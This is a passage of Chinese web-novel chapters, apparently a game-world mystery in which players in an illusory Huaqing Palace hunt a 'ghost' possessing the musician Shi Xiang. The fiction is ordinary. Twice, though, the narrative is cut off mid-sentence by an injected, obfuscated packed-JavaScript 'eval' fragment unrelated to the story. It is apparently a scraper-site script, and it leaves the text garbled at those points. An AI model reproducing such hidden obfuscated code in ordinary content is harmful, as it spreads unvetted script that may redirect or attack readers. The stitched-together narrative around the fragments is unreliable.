“等一下,我还有一个问题。这些结论跟‘铁蹄声促,骊山梦碎’的描述关系很大,但实际上我们并没有被告知这句话。”商陆却说,“蒋玉凤是友善NPC吧,她为什么要向我们隐藏信息呢?” 龙池乐摇了摇头。 她其实目前也不是很理解这一点。从前四天的经历来看,如果说“浪客行”本身存在着某种意识的话,那它大概率是希望玩家们能够通关的,从各种明里暗里的线索就能看得出来;从这个角度来说,蒋玉凤完全没有必要省略掉这段描述。 难道蒋玉凤不是绿名了?那也太糟糕了,玩家们现在是全心全意依赖着她的,如果她有问题,那所有人都会瞬间陷入危险之中。不过,这个可能性应该不大,老玩家的笔记里也没有提到这一点;那难道是第五天的限制导致不能剧透太多?总不能是那四句描述会误导玩家才隐去吧…… 她还在思索,商陆却轻咳一声,原来是远处院子里有了响动,那个唐门NPC应当是起来了。 眼下不适合再多说了,他们对视一眼,也翻下了屋顶。 “辛苦令史了。这几天,宫中房屋破损颇多啊。” “不辛苦,不辛苦,都是我们活……应该的。” 祁云纵打着哈哈,在药堂管事的陪同下参观人机大战遗址。 此刻,库房已经差不多快修缮完工了,至少从外表上看不出这里曾发生过一场激烈的战斗——天知道,当他接到维修任务过来的时候看到地上那些刀痕的时候,眼睛都快瞪出来了。 眼看着活儿也干完了,祁云纵向药堂管事打听道:“都说这是江湖人闹事闹到宫里弄出来的烂摊子,是有人亲眼看到了吗?” “那是自然。”管事叹道,“当时在库房的是个药童,叫叶九溪的,好险没把小命搭上。” 祁云纵听到熟悉的名字,乐了,就知道这事儿少不了玩家的参与:“那人现在在哪呢?” “哎,别提了。”说到这个管事就来气,“这人胆子也忒小,这几日被大人们来来回回审问了几遍,魂不守舍的,笨手笨脚,药材都不会理了,我便将他打发去整理医书手录了。” 祁云纵得到了满意的答案,光速告辞,在管事的目送下离开药堂后又杀了个回马枪。他第一轮剧情里隶属于太医署,对这里自然也不陌生,轻车熟路地翻进存放医书典籍的房间,果然便看到叶九溪正坐在桌前,翻着桌上的簿子。 按理说,玩家的感知是很敏锐的,但祁云纵都翻窗进来了,叶九溪却连头都不抬,手上紧捏着书页,像一尊雕像,一直维持着同一个动作,显然陷入了沉思。 祁云纵咳了两声:“在?” 叶九溪猛然回头,祁云纵看到他的正脸就是一愣,这人眉头紧皱、眼下青黑,神色也非常凝重,这就很奇怪,总不至于真被NPC吓破了胆吧。 “你来得正好!”叶九溪却仿佛没意识到自己的状态,看到来人是祁云纵,反而两眼一亮,招呼道,“快过来,我发现了奇怪的东西!” “什么奇怪的东西?” 祁云纵凑过去一看,桌面上摊开放着的簿子原来是一本太医署的行医记录,这东西他印象很深刻,毕竟上一轮剧情里被NPC要求填写这玩意儿,差点就因为狗爬毛笔字露了馅。 “你看这个干什么?”他疑惑道。 “我也是被关在这里,闲着没事翻阅才发现的。”叶九溪呼吸急促,伸手一指那密密麻麻小字中的一行,“你看这里,这是两天前的记录。” 祁云纵接过簿子一看,这一页上记载的是配药支取量,而叶九溪指出的记录中写明了被支取出去的是附子、乌头等草药,用量有些不同寻常的大。 不看内容的话,这条记录乍一看很规整,但后面记录用药人的姓名部分却有着小小的污痕,这污痕很奇怪,既不是水渍也不是霉斑,但确实将笔墨模糊了,看上去朦朦胧胧,倒有一种隔着毛玻璃望过去的感觉。 “这写的是谁的名字?”他好奇道,用手按了按那块模糊的地方,却没发现纸面有任何异常触感,仿佛这污痕是凭空从书页里长出来的一样。 “不知道。”叶九溪摇头道,指了指旁边的医书,“但是我查过了,乌头是有毒的猛药,和附子一起取用,想必大概率是为了吊命,正好符合书中对于‘亡阳症’的记载。这个亡阳症,说是阳气大量流失导致性命垂危……如果我理解没错的话,差不多相当于我们现代的休克。” “哦,这就是说,有人休克了,然后药堂支取了这些药去救治。”祁云纵把簿子还给他,一头雾水,“然后呢?” “就算是人机玩家用药也是直接用偷的,所以能够光明正大被记载在这上面的,肯定是NPC。可这是两天前的记录,你回想一下,上一轮剧情和这一轮剧情里,在这一天,我们都没发现有NPC生命垂危吧?”叶九溪压低声音,“根本就没发生过的事情,却出现在了纸质的记录上,当事人的名字还被糊掉了,你不觉得很奇怪吗?我有一个很大胆的猜想……” 他将那本簿子捏得死死的,低声说: “这会不会是浪客行故意留给我们的线索?” 祁云纵看着他因为压抑着激动而流下冷汗的侧脸,呼吸一滞,忽然明白了什么。 鬼、鬼,人死之后为鬼;华清宫中存在着一个鬼的前提,是这里有一个人死了。 谁符合这个条件? 这个垂死的人的名字为什么被模糊掉了? 有很大的可能,这个名字所指向的人,就是他们一直以来在寻找的鬼! 两个人都陷入了沉思,故而并没有发现,丝丝缕缕的雾气正顺着窗缝,缓慢地涌入房间之中。 油纸窗的透光性很好,如果有人在外面的话是藏不住的,但此刻紧紧贴在窗外、将惨白且没有瞳仁的眼睛凑在窗缝中的,却并不是“人”。 游荡的魂灵没有呼吸,但这诡异可怖的面容之下,嘴唇一张一合间,却仿佛有寒气涌出。 看到了……他们看到了…… 终于…… 祁云纵和叶九溪研究太医署记录的同时,剧情也在有条不紊地推进着。 虽然有些细节因为玩家们的介入而改变了,但是整个梨园宴筹备的方向并没有乱,此时正是载货牛车入宫的时间。车队络绎不绝,满载着安禄山从范阳、平卢、河东三地搜集来的奇珍异宝,在简单清点过数量之后,便朝温汤监行进了。装点行宫是这场盛宴的重要一环,宫人们往来进出碌碌如蚁,忙得脚不沾地,连在六尚局的亓秀秀和龙葵也被调了过来,帮忙清点贡品数量以及装饰汤池。 湿漉漉的水汽打湿了裙摆,龙葵一边清扫着牛车留下的蹄印,一边看着长龙一般的车队往卸下珍宝的区域缓慢前进,感慨道:“没想到这温泉区这么老大,还真是折腾人啊。” “确实啊确实。”亓秀秀扇了扇风,空气中充斥的全是昂贵香料的味道,再加上水面蒸腾着的淡淡暖风,闻久了便让人有些昏昏欲睡。 “我上次去骊山旅游的时候,看到温泉池子就那么丁点大,跟我家浴缸一样,灰不拉几的。”龙葵抖了抖长笤帚,用力地往地上杵了两下,“这里嘛,不说还以为到天庭了呢,实在是离谱。” “虽然好看,但是我觉得还是原来的世界好。”亓秀秀叹了口气,无精打采地瞟了眼不远处投来警告目光的温汤监管事们,蹲下身咬牙切齿地擦着地面上的泥泞,“我想回家……我想回家……我想回家……” 龙葵看着她,感觉她身上的怨气有如实质,简直要直冲云霄了。 “已经第五天了,再忍忍吧。”她说,手上无意识地捏了捏竹木的笤帚杆,心里也有些没底。 按理说,他们可以在第九天离开浪客行,但是真的能离开吗? 第一天结束的时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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牛车前蹄子刚出温泉区,龙葵便和领头的车夫唠了起来,亓秀秀趁机落后几步,走到了第五辆牛车的后方。趁没人注意,她伸手就掀了车厢帘子探头向里看,然而里面空空荡荡,确实没藏什么东西。 亓秀秀眯起眼睛,扫视一番后,忽然猛地俯下身,探头向牛车底部看去,然后就对上了一双眼睛。 虽说她早就做好了心理准备,但冷不丁看到车底下藏了个人,难免吓了一跳;而藏身在车底的殷炽忽然看到外面倒着出现一张脸,黑发如瀑般披散下来,顿时人都麻了。 ——也就是他之前在讲武殿已经被来了一次贴脸杀,多少是有点经验了,总算是没失去理智松开扒住车架的手。 两个人互相看清了之后,都是长松一口气。 前面几辆车上都有车夫,亓秀秀也不敢和殷炽打招呼,赶紧调整表情直起身子,快走几步去拍龙葵的肩膀:“你去后面看着,我和大哥聊会儿。” 领头的车夫被龙葵拉着侃大山,家里有几口人几亩地都快唠清楚了,亓秀秀跟接仇一样稳住他,不一会儿就听到后面窸窸窣窣的动静,用余光一扫,原来是龙葵黑着脸,往第二辆车底下踹了两脚。 牛车卸掉货物之后轻了不少,走起来不再像进宫时那么缓慢,一会儿工夫就离开了中区,向西边走去。亓秀秀问得清楚,这一批车队并不会离开华清宫,而是会停在望京门畔,以供晚上来赴宴的贵人亲眷代步之需,恰好方便了他们。 眼看着望京门就在不远处了,她放慢了脚步等龙葵跟上来,就听到龙葵说:“车底下是柳七刀、唐逐星和殷炽,从华清宫外面混进来的,等会儿停车他们就下来。” 亓秀秀有点羡慕:“这三个人没被分配任务吗?” “都有身份,所以才说他们乱来。”龙葵无语道。 她们说话间,牛车车队便在一片茂密花圃前接二连三地停了下来,车夫们也纷纷下车,回去复命。 看到NPC走远了些,龙葵轻轻踢了踢车轮,刚要说话却听到一阵喧嚣声,抬头一看,却是从望京门外进来了两个凌雪阁,带着四五个卫兵,直直朝这边走来。 “糟糕。”亓秀秀小声道。 为首的凌雪阁步履如风,面色冷漠,显然就是冲着这批牛车来的,她感觉身边的龙葵有点紧张,后退了一小步,立刻提醒道:“稳住……” 那两个凌雪走了过来,手放在第一辆牛车的车辕上,问:“牛车从哪里来?” “温汤监那边过来的。”亓秀秀回答。 听到温汤监,两个凌雪便露出了然的神色,其中一个低声道:“安禄山那边的车。” “啧,那倒是不方便查了。” 龙葵赶紧道:“这些都是空车,上面载的东西已经在温汤监那里卸下了,留着车等晚上用呢。” 那凌雪问她:“车队出过望京门吗?” 龙葵摇头:“没有,就是从温汤监一路过来的,到这里就停了。” “走吧。”另一个凌雪道。 听到他们要走,亓秀秀和龙葵都松了口气。然而,在经过第二辆牛车时,那凌雪忽然从身边卫兵腰间反手拔出横刀来,穿过车厢向车底刺下! 咚的一声,是刀刃穿透车厢底板的声音。这一刀来得猝不及防,亓秀秀瞳孔骤缩,心都提到嗓子眼了,便看着那凌雪提起刀来,雪白的刀刃上干干净净,只残留着一点木屑。 另一个凌雪也俯下身向车底看了看,鹰隼一样的目光扫过前后几辆车,直起身来,摇了摇头。 这次,他们才是真的带着卫兵走远了。 “淦,吓死我了……”龙葵长舒一口气,亓秀秀握着她的手,感觉她手心里全是冷汗。 两个人看向身后的花丛,静静等待了一会儿,逐云寒蕊到了时间,慢慢枯萎下去,露出其中的人影来,正是之前还躲在车底的殷炽和柳七刀。 他俩刚刚是从车底下直接滚到草丛中的,沾了满身的土粒和草叶子,看起来有些狼狈,柳七刀一骨碌从地上爬起来,也是一脸后怕:“真险啊,还好你扔种子扔得快。” 刚显现出身形的唐逐星清清爽爽地站在一边,闻言但笑不语。 作为一个能隐身的门派,他的privilege已经体现得淋漓尽致了。 “找个安全的地方说话吧。”亓秀秀说,又打量了一遍他们仨,“宫门最近似乎查得很严,亏你们能想到这个办法。” “师襄是鬼啊。”柳七刀突然说。 包括唐逐星和殷炽在内,四个人全部一脸问号地转过头看着他。 “不是,等等,师襄是鬼?”龙葵看看这个,看看那个,“你是怎么知道的?为什么就这么说出来了?没有铺垫吗?他们俩不知道吗?为什么他们俩也这么惊讶?” “……我们知道,但是没想到他会突然说出来。”唐逐星耸了耸肩。 柳七刀摸摸头,自有他的一套道理:“电视剧里都这么演的,一旦知道了幕后黑手就很有可能遭遇各种各样的突发事件,最后就变成一个悬念再拍二十集,我就寻思着赶紧说了,打剧情一个措手不及来着。” 听起来虽然诡异,但好像又很对的样子,众人顿时被说服了。 53. 第五天·华清宫(五十三) “所有今晚参加梨园宴的乐工名单都齐了?” 陆厌抖了抖手里薄薄一沓纸,扬声问道。 “对的,这是最新拟好的名单,真的都在这了。” 王三金双手交握,赔着笑:“大侠,不是说好今晚我带个路就行了么?” “没办法,你也知道最近风声比较紧,不提前确认一下,实在是不放心呐。”陆厌说,低头翻看起手上的名录来。他倚在窗边,一条长腿蹬在门框上,有意无意地拦在了门窗之前,也不用担心NPC会夺门而出,一目十行地看下去,很快就看到了师襄的名字,忍不住挑了挑眉。 “又是坐部琵琶乐工?两次了……” 他继续往下看,却突然坐直了身子,神情严肃起来,一把勾过王三金的领子,指向名单上一处:“这人怎么回事?” 王三金仔细一看,原来陆厌问的是一个名字被划去的乐工。他本身不是管理人员这块的,想了半天,倒是也记起来有这么一回事:“哦,这人似乎是身体不适,昨天就被划去了。” “身体不适?”陆厌看着被划去的“付井仪”三个字,越看越觉得不对劲。虽然他们并不算很熟,但是付井仪那样的人给人留下的印象总是很深刻的,怎么想,他也不该缺席这剧情中最重要的一环。 难道是布好的局? 陆厌摸了摸下巴,又看过剩下的人名,再没有熟人了,便把名单又还给王三金。他本来想着打听一下付井仪现在在哪里,又怕弄巧成拙、引起王三金的注意,给付井仪搞出个OOC来,只好自己去找了。 一周目时,梨园中所有僻静无人的小路都被玩家们走过了,陆厌虽然来得晚,但也记住了其中几条道。他翻过分隔乐师台和居所的廊墙,看了看前后左右在外形上几乎完全一致的屋舍,在心里叹了口气。 这该怎么找啊? 正发愁的时候,远处忽然传来隐约的脚步声。陆厌心念一动,身形便渐渐隐没在斑驳的树影中。 “怎么了?忽然停下干嘛?” 李千驰转头看着身侧停下脚步的尹有攸,催促道:“快走啊,我是翘班出来的,被NPC发现就麻烦了,等会还得去帮柳七刀点卯呢。” “总觉得听到了什么。”尹有攸说,往更远处的廊墙看了一眼。 玩家们都知道他耳朵灵,听到这句话,李千驰顿时严肃起来。 “……这地方不是一般没人来么。”他说,忍不住扭过头四处看了看,“等下不会又窜出来个假秀秀之类的东西吧?” 尹有攸摇了摇头,还没来得及说话,两人便看见陆厌忽然从原本空无一物的地方冒出头来,还笑嘻嘻地挥了挥手:“是我,是我。” 那场面有点惊悚,还好两个人都胆子大,没什么反应,李千驰还很热情地和他握了握手。 陆厌想到殷炽,在心里感慨,确实是人比人气死人。 “我正想找付井仪呢,你们俩这是去?” “巧了,我们也去找他,走吧,这地方小尹熟。”李千驰说,尹有攸点了点头。 陆厌一拍手:“所以他身体不适是装出来的?” “啊?”李千驰却一愣,“什么身体不适?” “就是他被移出今晚梨园宴乐工名单那件事……”陆厌说,看到尹有攸也盯着他看,脸上的神色越来越严肃,不由得“嘶”了一声,“坏了,你们也不知道?” “师襄在名单里吗?”尹有攸忽然问。 陆厌一皱眉,不知道怎么又和师襄扯上关系了:“在啊。” “那你做好心理准备。”尹有攸说,眼睛黑沉沉的,表情很冷,“她很可能被‘鬼’附身了。” 李千驰和陆厌的震撼不比听到柳七刀突然抛出爆炸性消息的亓秀秀和龙葵少,李千驰倒吸一口凉气,下意识地就转头去看陆厌的表情:“这……你是怎么知道的?” “是付井仪之前的推测。”尹有攸说。 付井仪的可信度还是比较高的,李千驰前不久才被平沙过,闻言先信了半分;再看陆厌,这会儿也是神色凝重,一双翡翠一样的绿眼睛没了笑意,清凌凌的,看着就有点渗人。 “走。”尹有攸也看了陆厌一眼,言简意赅道,“去找付井仪。” “对,我们本来也是要去找他的。”不能指望尹有攸多说,李千驰边走边主动解释道,“我这几天都忙,早上去柳七刀那里没找到他,感觉有点不对劲,路上正好碰到小尹,说是也很久没见付井仪了,我俩一合计,就钻进来了。” 陆厌神色不明地“嗯”了一声,李千驰拍拍他肩膀,绞尽脑汁地安慰道:“没关系,师襄也不是一定就被鬼附身了,可能付井仪遇到的是假师襄也说不定,我们之前还遇到过假的仇非呢。” “这样啊……最好是假的。”陆厌扯了扯嘴角,“不过我想那个‘鬼’应该也不会太好过吧。” 他这句话说得有点没头没尾的,李千驰奇怪道:“此话怎讲?” 陆厌叹了口气,抬头看了看天边薄雾一样的云,不知道这口气是叹给玩家们还是给鬼的。 “她可不是那种任人宰割的性格。” 这句感慨可谓发自肺腑,李千驰回想了一下师襄其人,之前在客栈中的几次照面,她都是一副冷冷淡淡的表情,抱着琴,看上去既文雅又安静,不像是破坏力很强的样子,有点不敢赞同陆厌的话。 他心里想什么全写在脸上,陆厌一看就知道李千驰没信,笑了笑,也不多解释了,又转头问尹有攸:“付井仪那边是什么情况,你知道吗?” “不太清楚。” 尹有攸在前面带路,一边留意着周围的动静一边回答。 梨园走水那晚,他本想将师襄有问题这事儿告诉其他玩家,但这一轮剧情里事故频发,对侍卫的看管便变得非常严格,再加上人机事件等种种因素,这段时间来他找了很多次机会,都没能和其他人接上头,独独到了梨园宴这天,全宫上下分外忙碌,看守分散,才能趁机潜入梨园。 而最糟糕的是,早在两天前,付井仪便已经和“师襄”摊过牌了,那场大火就是因此而起,但这之后,梨园竟然又诡异地平静下来,好像什么都没有发生过一样。 这种平静,往往才是最恐怖的。 “付井仪也不是那种不会反抗的人吧,他那么聪明,‘鬼’应该搞不到他。”李千驰说,又忍不住感慨道,“说来也巧,他们都是长歌呢。” “你说到这个,我倒想起来了,师襄这两轮被分到的角色一模一样,都是坐部琵琶乐工。”陆厌道,“……这应该不是巧合吧?” 他这么一说,三人脑海中顿时便齐齐浮现出第五天以来师襄的模样,垂着眼,一副拒人于千里之外的漠然,却总是怀抱着那把琵琶。 ——不知道是剧情作祟还是单纯的倒霉,这三个人在第一轮剧情里都是后续才陆续加入到华清宫这个舞台中的,尹有攸被关了很长一段时间,而李千驰和陆厌随天子车舆进宫,是以三人都不知道,在第五天刚开始那段时间,师襄还是以擅长弹琴的乐师身份出现的。 只是不知从哪一天起,她怀中的琴忽然就变成了琵琶。 好在对情报的缺失倒也没耽误他们脑补,李千驰疑道:“难道说这个鬼是个弹琵琶的乐师?” “八成是这样。”陆厌道,“所以我们在查这个鬼的身份时,就要从乐师们入手了。” “对了,小尹之前不也是梨园的么?”李千驰问。 “是。我被放出来之后,他们也是先带我去了乐工部,看到乐工部不缺人,随后才调到舞伎部的。”尹有攸说。 “这样啊。” 这个消息听起来似乎跟他们讨论的话题关系不大,李千驰点点头,陆厌也没有多加注意;恐怕连尹有攸自己都不知道,他随口而出的这句话代表着什么。 华清宫内的制度安排井然有序,像杂役、守卫换班的时间,都略早于乐师们自按歌台回返的时间,乐师居所空无一人,没锁上的房间更是寥寥无几。 这其中,属于师襄的居所最为显眼。因为是失火之后新修葺起来的,一眼就能和其他房屋分辨出来,附近的苗圃中还残留着焦黑的痕迹,在四周草木葱茏环绕之中,有一种格格不入的感觉。 “我昨晚就在这附近见鬼了。”陆厌指着师襄门外斜对过的屋檐,给他们简单描述了一下当时的情形,“如果师襄是鬼,那我昨晚看到的东西是什么?” 他故意把那个游荡的魂灵描述得十分骇人,可惜李千驰和尹有攸不是殷炽,没什么反应,李千驰还在很感兴趣地追问:“那个东西离你那么近都没对你出手?” 陆厌摸了摸下巴:“只有黑洞出现的时候,它似乎想把我推进去,但是很容易就挣脱了,别的没了。说起来,从它身上我确实感觉不到敌意,甚至有种熟悉的感觉,反而是师襄……她的表现确实很不对劲,说她看不到那个鬼吧,她的视线又有明确的焦点;说她看得到吧,她又什么都没做。” 李千驰问:“有没有可能,鬼除了寄居在师襄身上之外,还有一个鬼魂形态的本体,你看到的就是本体?” “应该不是。我感觉师襄对那东西有一种明显的排斥和敌视。”陆厌摇摇头。 李千驰一个脑袋两个大:“算了,太复杂了,想不明白,我们还是快去找付井仪吧。” “哎呀!” 真实的华清宫里,谢不若直拍大腿。 “怎么就不想了呢!”他急得团团转,“既然师襄是鬼,那长得像鬼的东西肯定就是师襄了,这么简单的代换还不会做吗!” “你这是拿着答案套公式,一般人应该还真想不到。” 行守睁开一只眼睛吐槽道,“快点坐下,继续看了。” 华清宫中寥落而破败,月光惨淡,灰尘遍地,但这几个人也不嫌脏,正闭着眼围坐在一起。听到行守这么说了,谢不若也气哼哼地盘腿坐下来,闭上了眼。 在他们四人中间,悬浮着一颗淡蓝色的珠子,正在散发着莹莹幽光。这珠子大约有成年男子一拳那么大,材质似玉非玉,正是游戏中的道具“轮回珠”。 随着谢不若闭上眼睛,世界渐渐暗淡下来。 几秒之后,随着他再次睁开眼睛,天幕之上,仿佛也有一只巨大的眼睛正缓缓张开,入眼的一切,仿佛都笼罩着一层似有若无的薄雾,整个世界褪去了色彩,变成了一片黑白。 在谢不若视野的正前方,赫然就是尹有攸、李千驰和陆厌三个人,此时尹有攸正在敲门,片刻后,付井仪从里面把门打开了。他们交谈的声音像是在水底倾听水面的世界一样,模糊不清,但只要沉下心来去辨别,也能勉强听明白。 这就是江湖百态中的方士身份,以方士之身“出魂入定”,能够横隔时空,沟通阴阳,感受世界的另一种面貌。 可惜,他们的方士并不是正经方士,只是借助轮回珠的力量撕开红尘和魂墟的裂缝,本身也没有方士那种点罡破煞的本领,甚至连实体都没有,只能游荡在华清宫中,用尽九牛二虎之力,最多也只能做到在队友耳边吹吹冷风这样子。 ——指挥殷炽去讲武殿的那颗骰子,和推倒曲小蕨茶杯的那阵风,正是祝灵正和行守的杰作。 而所有人中,唯一有实体的…… 谢不若四处张望。他没有身体,轻盈得像一阵风或者一粒灰尘,这是一种十分奇妙的感觉,但因为失去了对四肢的控制权,也会让人有些焦躁。 入目所及没有看到那个熟悉的身影,师襄——真正的那个师襄,不知道去哪里了。 一想到触摸轮回珠时读到的使用说明,他的内心就直打小鼓。 轮回珠的使用说明很简单,只有短短一句话:佛曰,我不入地狱,谁入地狱;而紧随其后的物品介绍就比较详细了,只是同样语焉不详: 这世界总有人要作出牺牲,就让我承载这世间一切苦痛,换来万物繁荣。 再加上他隐约记得游戏里使用轮回珠读条时的动作叫“弃魂”,这么多设定叠加在一起,总让人有种不吉利的感觉。 被夺走了身体的师襄能想到用轮回珠转变为魂灵状态已经十分了不起了,但这东西对她真的是无害的吗?能把他们全部带进“华清宫”的轮回珠如此强大,师襄到底要付出什么代价才能驾驭,谢不若一想就感觉头疼。 没有实体就很难控制自己,他只是稍微一走神,再回过神来,面前的四人已经交谈了一会儿了,谢不若赶紧凝神屏气,努力分辨着模糊混杂的声音。 他听到付井仪说: “所以,要在梨园宴结束之前,找到她的真名。” “那你就一直留在梨园么?”陆厌问。 “她还会来找我的。”付井仪说,将青玉流轻轻地放在桌面上,抚过琴身,几道琴弦在他指下微微颤动,空气中好像都隐隐漾动着波纹,“即使是鬼,也无法逃过‘人性’。” 谢不若努力地分辨着付井仪的话,感觉一个头两个大。 也不对,他现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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——被赋予厚望的裴洛川,此时正被家中的侍女拉着挑选晚上赴宴要穿的衣裙,一脸生无可恋。 尹有攸举手提问:“我们不知道‘鬼’叫什么,怎么找它的名字?” 付井仪看了看他们仨,犹豫一瞬:“解释起来比较复杂,要听么?” “你讲。” “那算了吧……” 同时开口的陆厌和李千驰对视了一眼,陆厌摆摆手:“你不听就上门口放哨去。” “那我就从头开始说起。”付井仪道,“从目前我们经历的剧情来看,‘鬼’盗用了师襄的身体,但却并没有做什么,它目前所有明面上的行动,都非常符合梨园乐师的身份。所以,先不论‘鬼’的最终目的是什么,但既然它的行动只是为了作为一名乐师参与到梨园宴中,反推一下,‘鬼’本来的身份,就很有可能因为某种原因无法参加这场宴会。” “对了,我昨晚还听到‘师襄’评价你。”陆厌灵光一闪,“你不是被从梨园乐师的名单中划去了么?她说你是咎由自取,语气很严厉,如果从鬼的角度来看的话,感觉确实像是对这个梨园宴有点执念啊。” “是的。”付井仪点点头,“事实上,在意识到这一点后,我就去找了教坊使那里的乐工名册,与目前所有的梨园乐工核对过了。” “有什么发现吗?”门口放哨的李千驰探进来一个脑袋。 “我之前说过,这份名册,只记录在役的梨园乐工,因为种种原因离开梨园的那些乐师的名字,都会被改去,但以这个时代的记录方式来说,起码会留下一些笔墨痕迹,不会完全消失。”付井仪说,“如果‘鬼’对参宴有所执念的话,我想,这种执念多少也会体现在自己的身份上。但可惜,它很警惕,最近被改去的名字已经被外力模糊了,无法辨认。” 李千驰的脑袋又缩回去了:“那不相当于啥都没说?” “不,恰恰相反,‘鬼’掌管着华清宫内的时间轮回,相当于这里的一切都在它的实际控制之下,但我在第一轮做协律郎的时候,曾经看过弘文馆内的库藏书籍,如此庞大的馆藏,分类严谨,条目明晰,非常震撼,绝不可能由一个身份可能为梨园乐师的‘鬼’完全构造出来。”说到自己感兴趣的部分,付井仪的语速都变快了,“所以我认为,整个华清宫虽然看起来是由‘鬼’掌控的,但它实际上能影响和改变的,只有自己熟知的那一部分;因此,如果鬼是一个普通乐师,那么它甚至可能根本不知道太常库的存在,更不用说从名录里抹去自己的名字!” 燃起来了! 谢不若还想再听,出魂入定的时限却到了,一阵令人反胃的眩晕过后,他又回到了真正的华清宫中。 放在几人中间的轮回珠幽幽闪烁着,光暗淡了下去。 一旁的飞琼干呕了两声:“我去,怎么这么恶心。” “习惯就好了。”行守从小队背包里取出水囊递给她,“第一次灵魂出窍总是不适应的。” “我们为什么被弹出来了?”飞琼灌了两口水,平静下来了。 “轮回珠是有使用时间和CD的。”行守解释道,“只有师襄使用轮回珠的时候,我们才能进入那个幻境华清宫。她用轮回珠进入华清宫的时限只有三分钟,过后就要等待十分钟的CD,而我们出魂入定一次维持的时间却是十五分钟。” 祝灵正小声说:“理论上是要找我们CD和师襄CD的最小公倍数。” 飞琼感觉事情没那么简单:“实践呢?” “如你所见,师襄现在没有身体,完全是灵魂状态。”行守叹道,“意思是我们和她也没法沟通,完全是看运气。如果她用轮回珠的时候,我们也在真实世界,那就能一起进去,不能的话就只能等下一次了。” 谢不若抬手,打了个岔。 “先不提这个了,重大情报来了!”他眉飞色舞道,“你们听到了吗?” 大家纷纷表示都听到了。 “只要从太常库的名单里找到鬼就能指认成功了!”谢不若说。 “太医署里,很可能有人会记得鬼的名字。”行守说。 “必须破坏掉梨园宴,才能符合第五天对地图的描述,让鬼意识到自己已经死亡,破除这个幻境!”飞琼说。 “殷炽他们把情报带出去了,在华清宫里的人基本上都知道师襄是鬼了……”祝灵正说。 “啊?” 四个人面面相觑。 54. 第五天·华清宫(五十四) “啦啦啦~” 阿攸坐在房顶上哼着歌,翻过手心,一只小蜘蛛顺着她的手腕爬到了指尖。 “下来,阿攸,坐那么高会被NPC看到的。” 柳秋瑟右手按在背后的刀柄上,抬头叫她。 阿攸撇撇嘴:“这种时候所有的NPC都在往梨园那个区域集中吧,不会有人注意宫城外面的。” 虽然这么说了,但她还是乖乖地从房顶上跳了下来。 柳秋瑟轻轻拍了拍她的头:“又一轮剧情快结束了,最好不要在这种时候节外生枝。” “太好了,终于要结束了,不能随便打架的日子真的好无聊啊。”阿攸闻言,顿时笑逐颜开,伸了个大大的懒腰,“兰瑾有没有跟你说我们什么时候动手?” 柳秋瑟还没来得及回答她,两个人便都听到了接近的脚步声,原来是伏明从另一侧走了过来。 这个很少露面的明教话也不多,非常言简意赅:“去晚了,梨园衣饰已经被其他人拿走了。” “毕竟上一轮剧情里让玩家发现了这道具的妙用。”柳秋瑟的表情没有太大变化,似乎一点儿也不意外,“这样一来,咱们就只剩下黑洞出现的那个混乱瞬间可以动手了。” “我太讨厌那些NPC了!”阿攸抱怨道,“好多次机会都被他们搞得白白浪费了,能不能先把NPC全都做掉啊?” “别忘了,这里又不是真的华清宫,你要是敢这么做,引起了‘鬼’的注意,恐怕会直接被踢出去。”柳秋瑟毫不留情地弹了阿攸一个响亮的脑瓜崩,“外面应该已经有不少玩家了,不想活了?” 阿攸捂着脑袋讪讪地笑了两声。 柳秋瑟还握着刀柄,叹了口气。 她和阿攸一样讨厌被规则禁锢的感觉,不能违反设定的规则在约束玩家的同时,也对人机具有效力,反过来同样是对玩家的一种保护,令她感到十分厌烦。让她感到烦闷的事情还有很多,不光是漫长的剧情、处处受限的活动,看着那么多玩家在自己的眼皮底下活动,本身就很让人反感了。 她很清楚自己是从玩家的死亡之中诞生的,但那种反感是生理性的,就好像人在厨房里看到了蟑螂全家福一样,并不会为螂丁繁荣而感到欣喜,只会很想发疯。 玩家和人机不是同类,他们的伙伴只有他们自己。 也许人机也不是同伴…… 柳秋瑟想起他们曾经亲手淘汰的其他人机玩家,只有基础的生理需求,反应迟钝,像设定好了程序的机器,只会一味重复做出机械的反应,怎么看也不能说和他们是同一类生物。 在这次剧情里,云流岚被那个叫飞琼的凌雪杀死了,再回到客栈时,也会变成那副呆呆的样子,又要猎杀很多玩家来给他升级了,毕竟完全拥有智慧和感情的云流岚,才是他们认可的同类。也许是因为这个原因,即使是生死相依、福祸相共的队友的死亡,也很少会令他们伤感与惋惜。 ——这个世界对于他们来说几乎全是异类。 越是想到这一点,柳秋瑟就越是厌恶玩家,但偏偏她又可以完全理解玩家的举动,正因如此,他们的笑容、行为,幼稚的感情,自我感动的那些话,都令人感到抑制不住的恶心。 她向斜前方看去。 他们临时找的落脚点是宫城之外庄园里的一间小屋,离骊山后山很近,非常方便逃匿,原来的屋主是负责协助看护林木的农人,早就已经被处理掉了。此刻,兰瑾就坐在小屋的回廊下面,静静地看着天边的流云。 冬日里,午间的阳光并不算多么强烈,但她跟着兰瑾的动作抬起头看向太阳时,还是感觉到双眼一阵刺痛。 阿攸低头逗弄着手臂上吐丝的小蜘蛛,伏明也坐了下来,大家都在等待最后时刻的来临。 连一丝风也没有,世界如此安静,好像生来就是这样孤寂的。 同一片天空之下,宫城之内的太医署中,此刻只有零星几个人在值守。 盛宴在即,大多数人都心不在焉了,再加上现在的华清宫在禁卫的看守下犹如铁桶一般,太医署往日又向来太平,NPC们也放松了些许,自然没有注意到,有人悄悄翻了进来,朝后院摸去。 咯噔一声,门闩被往上抬起,紧闭的门被人一把推开,灰尘混合着陈旧纸墨气息的味道扑面而来。 “你确定是在这里吗?” 叶九溪小心翼翼地跟在祁云纵后面,问。 “放心,我专业的。”祁云纵从书架上抱下一摞薄薄的簿子来,“理论上来说,只要负责记载的人不偷懒,所有诊治记录都能查到。” 